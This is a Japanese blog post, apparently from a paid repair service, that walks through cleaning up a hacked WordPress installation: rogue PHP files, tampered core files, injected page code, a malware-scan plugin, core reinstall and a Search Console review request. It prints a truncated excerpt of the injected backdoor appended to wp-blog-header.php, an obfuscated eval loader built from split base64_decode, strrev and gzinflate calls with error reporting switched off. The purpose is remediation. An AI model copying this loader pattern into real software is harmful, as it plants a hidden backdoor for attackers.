ココナラにて WordPress トラブルの復旧依頼をいただき、サーバー内部を調査したところ、ハッキングによるファイル改ざんが認められました。
今回の事例をもとに、復旧方法を初心者向けに解説していきます(依頼主様の承諾を得て掲載しています)。
今すぐサイトの復旧が必要な場合は、以下のリンクよりご相談ください。担当者がオンラインであれば 30 分以内にご返信し、当日中に対応いたします。
修復費用:8,000 円 / 1 サイト
別のケースでご依頼いただいたお客様のリアルなレビューはこちら。
ハッキングされたサイトの不具合の症状
ハッキングによるファイル改ざんを発見したのは、「特定のプラグインをアップデートしたさい、サイトが表示されなくなった」というエラーが元でした。
表面上の問題
依頼を受けた時点では、アップデートしたプラグインを削除してサイトは表示されるようになったものの、管理画面には入れなかったようです。
以下はログイン画面のエラーメッセージ。
プラグインは削除済みなので、コアファイル wp-admin/includes/admin.php
が書き換えられている可能性があります。
念のため Google 検索でサイトを調べてみると、作成した覚えのないページが出てきたため、ハッキングされた線が濃厚となりました。
なお、同じサーバーで別ドメインのサイトもあり、そちらは作成したあと放置していたとのことです。アクセスしてみると、フィッシングの警告が表示されていました。完全にやられていますね…。
FTP でファイルを調査した結果
取り急ぎ FTP で中身を覗いてみたところ、すぐ怪しいファイルを発見。
使用サーバーはエックスサーバーですが、本来ファイルを設置しない場所に small.php
と al.php
というファイルがあります。
パーミッションが「00」となっているのは、サーバー側の処理によるものです。不正なファイルを検知して、外部から実行できないようにしたと思われます(この処理が行われる前後にサーバーからメールが送られてくる)。
サーバーの初期ドメインに割り当てられているディレクトリには、多数の不審なファイルが設置されていました。見るからに悪さをしそうな名前のファイルばかり。
WordPress をインストールしてあるサイト A・B には、どちらも不審なディレクトリとファイルがありました(WordPress コアには存在しないもの)。
以下は、不審なファイル small.php
を開いたところです。eval
という文字列がありますね。セキュリティ面でよろしくないので、通常は使わないコードです。ハッキングで仕込まれたと見て間違いないでしょう。
ちなみに、index.php
などのコアファイルも書き換えられていることがあり、すべてチェックしていかなければ完全に復旧できません。
たとえば、以下は実際に書き換えられていた wp-blog-header.php
の一部です。22 行目以降は本来存在しないコードで、ハッキングにより追記されたものと思われます。
<?php
/**
* Loads the WordPress environment and template.
*
* @package WordPress
*/
if ( ! isset( $wp_did_header ) ) {
$wp_did_header = true;
// Load the WordPress library.
require_once __DIR__ . '/wp-load.php';
// Set up the WordPress query.
wp();
// Load the theme template.
require_once ABSPATH . WPINC . '/template-loader.php';
}
ob_start();
?>
<?php $ucjek = 'ba'.'se64'.'_de'.'code'; $RzbTe = 'strr'.'ev'; $UHkaM = 'gzinflat'.'e'; ini_set('log_errors', 0); /** e58bb5554cbc27f2edbb671bad3ec7a092eae617 ***/ error_reporting(0); eval($UHkaM($RzbTe...
サイトの状況を何となく把握できたので、以下の作業を中心に復旧作業を進めていきます。
- 追加されている不審なディレクトリ / ファイルの削除
- WordPress の各ファイルに追記されているコードの削除
実際に行った復旧手順
ご相談いただいたサイトの状況は以下のとおり。全サイトでファイルが改ざんされていました。
サイト A | WordPress で運用中のメインサイト(管理画面に入れない) |
---|---|
サイト B | WordPress が入っている放置中の未使用サイト(フィッシング警告) |
サイト C | サーバーの初期ドメイン(未使用) |
サイト B は使わないとのことなので、以下の手順で進めていきます。
- サイト B のデータを丸ごと削除(ドメインもいったんサーバーから削除)
- サイト C の不審データを削除
- サイト A の不審データを手動でできるだけ削除
- サイト A にログインしてプラグインで不審なデータを調査・削除
- サイト A の WordPress コアをすべて上書き(= 再インストール)
使っていないサイトのデータをすべて削除
まずは、使っていないサイト B のデータを丸ごと削除します。
今回は、エックスサーバーからいったんドメインを削除して、ドメインに割り当てられているディレクトリの削除を試みました。
一部データは削除されずに残っていたので、FTP で削除していきます。
ファイルを削除してもデータベースは残ったままなので、そちらも削除します。
念のため、すべてのデータベースをバックアップ(テストで使っていたものなのか、未使用のデータベースがいくつかありました)。
不要なデータベースを削除します。
これで、サイト B のデータは完全に消えました。
初期ドメインの不審なファイルを削除
エックスサーバーの初期ドメインはとくに使っていなかったようですが、いろいろ埋め込まれていたのですべて削除します。
通常はファイルを設置しないエリアにある不審なデータも削除。
各ファイルのパーミッションが「00」になっているものは「644」にしてから削除します(ディレクトリは「755」に変更)。
php.ini
が書き換えられているかもしれないので、サーバーパネルから初期化しておきます。
これで、サイト B・C はクリアになったので、メインサイト A の復旧作業を行っていきます。
サイト A の不審なファイルを削除
WordPress はたくさんのファイルがあるので、除去作業はかなり大変です。
新規ダウンロードした WordPress のコアファイルと比較しつつ、更新日時やパーミッションを見て、あたりをつけながら不審なファイルを削除していきました。
ログイン画面には引き続き wp-admin/includes/admin.php
のエラーが表示されていたので、そのファイルのみ上書き修正。とりあえず管理画面に入れるようになりました。
やはりというか何というか、未更新プラグインがたくさんありました…。
脆弱性が発見されているバージョンのプラグインもあったので、そこから侵入された可能性があります。
プラグインで不審なデータを調査・削除
手動では削除しきれていないファイルが残っている可能性もあるので、プラグインでサイトをスキャンチェックします。今回は「Anti-Malware Security and Brute-Force Firewall」を使用しました。
プラグイン新規追加画面から検索し、インストール&有効化。
Anti-Malware 設定画面に進み、「無料でキーをゲット」をクリック。
氏名(ハンドルネーム可)・メールアドレスを入力して「Register Now!」をクリック。
「新しい定義をダウンロードしよう!」をクリック。
- 画面が切り替わらないときは、リロードしてください
- WAF が ON になっていると画面が切り替わらない可能性があります
「完全なスキャンを実行する」をクリックして、しばらく待機。サイトの規模にもよりますが、10 ~ 30 分ほどで完了します。
スキャン完了のメッセージが出たら、詳細を確認します。
今回は、削除しきれていなかったデータのほか、「データベースインジェクション」が見つかっています。投稿・固定ページに何らかのコードが仕込まれているのかもしれません。
詳細を見ると、複数の固定ページにあやしげなコードが仕込まれていました。Elementor の脆弱性をついたものでしょうか。
コードは難読化されており、「スマホでアクセスされたとき、特定のリンクから別サイトに飛ばす」という内容でした。おそらくログインユーザーは対象外で、定期的に更新しないページに仕込まれると気づきにくいものです。
プラグインにそのまま除去させる場合は、「選択されたファイルを自動的に修正するようになりました。」をクリック。
不審なデータの除去と再チェックが行われ、グリーンになれば完了です。
FTP で上書き
「Anti-Malware Security and Brute-Force Firewall」無料版では、WordPress コアファイルの整合性はチェックしてくれません。
そのため、WordPress 本体を新規ダウンロードし、FTP ですべて上書きしていきます(再インストールするのと同じです)。
以下のディレクトリ・ファイルは上書きまたは削除しないよう注意してください。
wp-content
配下のファイル.htaccess
wp-config.php
wp-content 配下でも不審なファイルの追加、またはファイルが書き換えられている場合もあるので、目視でチェックする形になります。
以上で、ハッキングされたサイトの修復作業は完了です。このあと各ページ詳細をチェックし、本体・テーマ・プラグインを最新版にアップデートして終了です。
Search Console で警告が出ていた場合の処理
今回のケースでは Search Console の確認を行いませんでしたが、サイトにアクセスして Google Chrome で何らかの警告画面が出ている場合、Search Console にもアラートが表示されます。
「セキュリティの問題」ページを開くと、理由と URL の例が表示されます(すべての疑わしい URL が表示されるとはかぎりません)。
すべての不審なファイルを取り除き、サイトが完全に復旧したら「審査をリクエスト」しましょう。
例文:
サーバー内の全ファイルを調査し、ハッキングにより不正に改ざんされたファイルをすべて修正・削除しました。
問題がなければ、12 時間ほどで Google から審査完了のメールが届き、Chrome の警告も削除されます。
ハッキングが疑わしいサイトの特徴と原因
ハッキング被害にあうのは、大手サイトだけではありません。一般的な個人ブログでも(たとえアクセス数が少なくても)起こり得ます。
ハッキングを疑う症状
ファイル改ざんといってもその手口は複数あり、すぐわかるものから気づきにくいものまで様々。
以下のいずれかの症状があれば、ほぼ確実にハッキングされています。
- サイトにアクセスすると「偽のサイトにアクセスしようとしています」など警告が出る
- サイトにアクセスすると、別のサイトに飛ばされる
- 内部リンクをクリックすると、別のサイトに飛ばされる
- site:example.com で検索すると、見知らぬページが出てくる
- Search Console「セキュリティの問題」にメッセージが表示されている
- Search Console インデックスレポートに見知らぬページが大量に表示されている
- 設置した覚えのない広告が表示される
- サーバーから警告メールが届いている
以下の症状はテーマやプラグインの一般的な不具合でも起きるものですが、ハッキングされている可能性もあります。
- 403 / 404 / 500 / 503 エラーが頻発する
- WordPress 管理画面のデザインが崩れている
- 体感できるレベルでページの表示が遅い(投稿編集画面も含む)
- プラグインが動かなくなる
- 検索しても正常なページが出てこない
ファイルが改ざんされる原因
WordPress サイトがハッキングされる原因は、ほとんどがプラグインの脆弱性をついたものです。
- 何年も更新されていないプラグインを使い続けている
- プラグインを更新せずに使い続けている
ログイン画面を「表玄関」とするなら、プラグインは「裏口」または「壁のほころび」というイメージ。
どんなにログイン画面を強固なものにしていても、更新していないプラグインを使い続けていれば簡単に侵入されてしまいます。
ハッキング被害を防ぐためにできること
ハッキング被害を防ぐために、以下は必ず実行してください。
- WordPress 本体を最新版にしておく
- テーマやプラグインは必ず更新する
- 開発が停止された(と思われる)プラグインは使わない
- パスワードを強固なものにし、定期的に変更する
- セキュリティ系プラグインを導入する
同じサーバーで運営している他のサイトから侵入されることもあるので、テストサイトなどを作ったまま放置しているなら要注意。全サイトしっかり管理し、使わないサイトは削除したほうがよいです。
一度ハッキングされると、これから何度も侵入を試みてくるかもしれません。復旧したあとはとくに気をつけましょう。
WordPress のメンテナンスは手間がかかるので、もし時間がとれないなら専門業者に保守管理を委託することをおすすめします。
ひどいときは、数ヶ月間は検索順位が低下したままになりますからね。ドメインごと捨てたほうがよい場合もあり、SEO 集客をメインとしているなら被害は甚大です。
メールアドレスやパスワードの流出をチェックするツール 3 選
WordPress ハッキングに関するまとめ
ハッキング被害にあってしまったら、基本的には「ファイルを総入れ替え」することになります。
画像ファイルと見せかけた不正ファイルを仕込んだり、修正してもすぐファイルを改ざんしてくる悪質なプログラムもありますから、まずは大元を探して対処してください。プラグインによる除去だけでは対応しきれないこともあります。
ハッキングされているかも、と思ったらお気軽にご相談ください。相談・事前調査のみであれば無料で承ります。